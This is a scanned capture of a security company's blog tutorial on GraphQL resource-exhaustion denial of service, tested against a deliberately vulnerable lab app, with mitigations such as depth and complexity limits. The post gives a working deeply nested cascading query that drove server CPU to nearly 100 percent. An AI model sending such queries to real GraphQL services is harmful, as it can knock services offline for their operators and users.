payatu.com Open in urlscan Pro
188.114.97.10  Public Scan

URL: https://payatu.com/blog/manmeet/graphql-exploitation-part-4
Submission: On May 10 via api from US — Scanned from DE

Form analysis 1 forms found in the DOM

<form novalidate="" class="news-letter-form ng-untouched ng-pristine ng-valid"><input type="textbox" name="emailTextBox" placeholder="Your E-Mail Address" class="subscribe-email ng-untouched ng-pristine ng-valid"><button class="subscribe-button"
    disabled="">SUBSCRIBE</button></form>

Text Content

Services Products Who we are Resources Contact Us We are Hiring
⌂Home › ☷All Blogs › ✍manmeet ›
Graphql Exploitation - Part 4- Resource Exhaustion (DOS)
manmeet31-August-2021



GRAPHQL EXPLOITATION - PART 4- RESOURCE EXHAUSTION (DOS)

We have finally reached the last part of the GraphQL exploitation series. If you
are visiting this blog without going through previous parts, we recommend you to
go through other parts as well.

In this blog, we will go through another possible vulnerability on GraphQL
Server in which GraphQL could be vulnerable to resource exhaustion. Because the
client has control over the amount of data requested, it can issue a GraphQL
request to a query that causes resource exhaustion on the storage used by the
GraphQL server, as well as on the GraphQL server for data serialisation to JSON.

This vulnerability not only can affect Query operation, but it can also happen
using mutation and subscription operations. When a large amount of data is sent
in the parameters in mutation operation, it can cause a high level of CPU
utilization at the server end to process it. When we register a large number of
subscribers or send a large amount of data in the parameters using subscription
then it can also trigger a high amount of CPU utilization.

To demonstrate this we will try the same lab which can be found here. In this
application there is a link between Dogs and Veterinary and vice versa, so,
cascading calls might be made, producing resource depletion at the SQL level on
the database.

Let’s formulate a big cascading Query like this.

query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}


When we send this query to the server. The server starts using almost 100% of
the CPU as shown below.

Remember to exploit query operation one must find a relation between two
elements of database schema like here Dogs and Veterinary were related both
ways.


MITIGATION


FOR QUERY

The GraphQL developer needs to know about the security strategies to avoid such
exploitation on any type of operator. One can find such steps briefly in this
blog. Use the built-in protection offered for Maximum Query Depth & Query
Complexity, depending on the GraphQL server implementation chosen.


FOR MUTATION/SUBSCRIPTION:

 * To limit the size of the incoming accepted data, use input validation.
 * Limit the number of subscribers at the code level.


REFERENCES

 * https://github.com/righettod/poc-graphql
 * https://www.howtographql.com/advanced/4-security/


ABOUT PAYATU

> Payatu is a Research Focused, CERT-In impaneled Cybersecurity Consulting
> company specializing in security assessments of IoT product ecosystem, Web
> application & Network with a proven track record of securing applications and
> infrastructure for customers across 20+ countries.

Get in touch with us. Click on the get started button below.

Get to know more about our process, methodology & team!
Get started today
☷All Blogs › ✍Latest Blogs
gagan.aggarwal
28-April-2022


Transition to a Safer Card Industry with PCI DSS v4.0 - A Summary Report by
Payatu

On its journey to actively updating compliance standards to tackle modern-day
cyber security threats to the Payment Card Industry, the PCI SSC (Payment Card
Industry Security Standards Council) has up

amit
27-April-2022


5 Myths About Mobile Security and Their Realities

Today smartphones have become one of the most significant aspects of our lives,
omnipresent even! In today’s era smartphones are rapidly replacing computers in
the sense that most tasks can easily b

anubhav.singh
31-March-2022


How can Hackers Analyze the Attacks on OAuth 2.0?

In this article, we will learn about the most common security vulnerabilities
encountered in applications that use the OAuth protocol. The protocol itself is
reliable but it relies heavily on the web

☷All News › ⚑Latest News
Webinar, Online 2022-04-29 00:47:52Z


Amit prajapat will be delivering a webinar on “Gaining Access to Protected
Components In Android”.

Talk, Online 2022-04-25 04:41:28Z


Yashodhan Mandke will be giving a talk on “IoT Security - Att(ack)ing I2C.”

Webinar, Online 2022-04-08 09:47:42Z


Yashodhan Mandke and Appar Thusoo delivered a talk on “Introduction to IoT
Hardware Hacking.”

Subscribe to Our Newsletter

SUBSCRIBE
or


FOLLOW OUR SOCIAL MEDIA HANDLES




Research Powered Cybersecurity Services and Training. Eliminate security threats
through our innovative and extensive security assessments.

Subscribe to our newsletter



Services

IoT Security TestingRed Team AssessmentProduct SecurityAI/ML Security AuditWeb
Security TestingMobile Security TestingDevSecOps ConsultingCode ReviewCloud
SecurityCritical Infrastructure

Products

EXPLIoTCloudFuzz

Conference

NullconHardwear.io

Resources

BlogE-BookAdvisoryMediaCase StudiesMasterClass SeriesSecurecode.wiki

About

About UsCareerNewsContact UsPayatu BanditsHardware-LabDisclosure Policy

All rights reserverved © 2021 Payatu